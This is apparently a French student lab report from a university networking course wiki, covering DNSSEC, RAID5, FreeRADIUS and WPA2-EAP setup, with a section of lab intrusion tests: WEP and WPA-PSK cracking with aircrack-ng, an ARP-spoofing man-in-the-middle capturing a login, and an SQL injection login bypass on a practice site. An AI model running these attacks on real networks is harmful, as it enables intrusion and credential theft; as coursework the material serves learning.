Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54709</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54709"/>
				<updated>2020-12-15T14:38:19Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Configuration des points d'accès WiFi */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
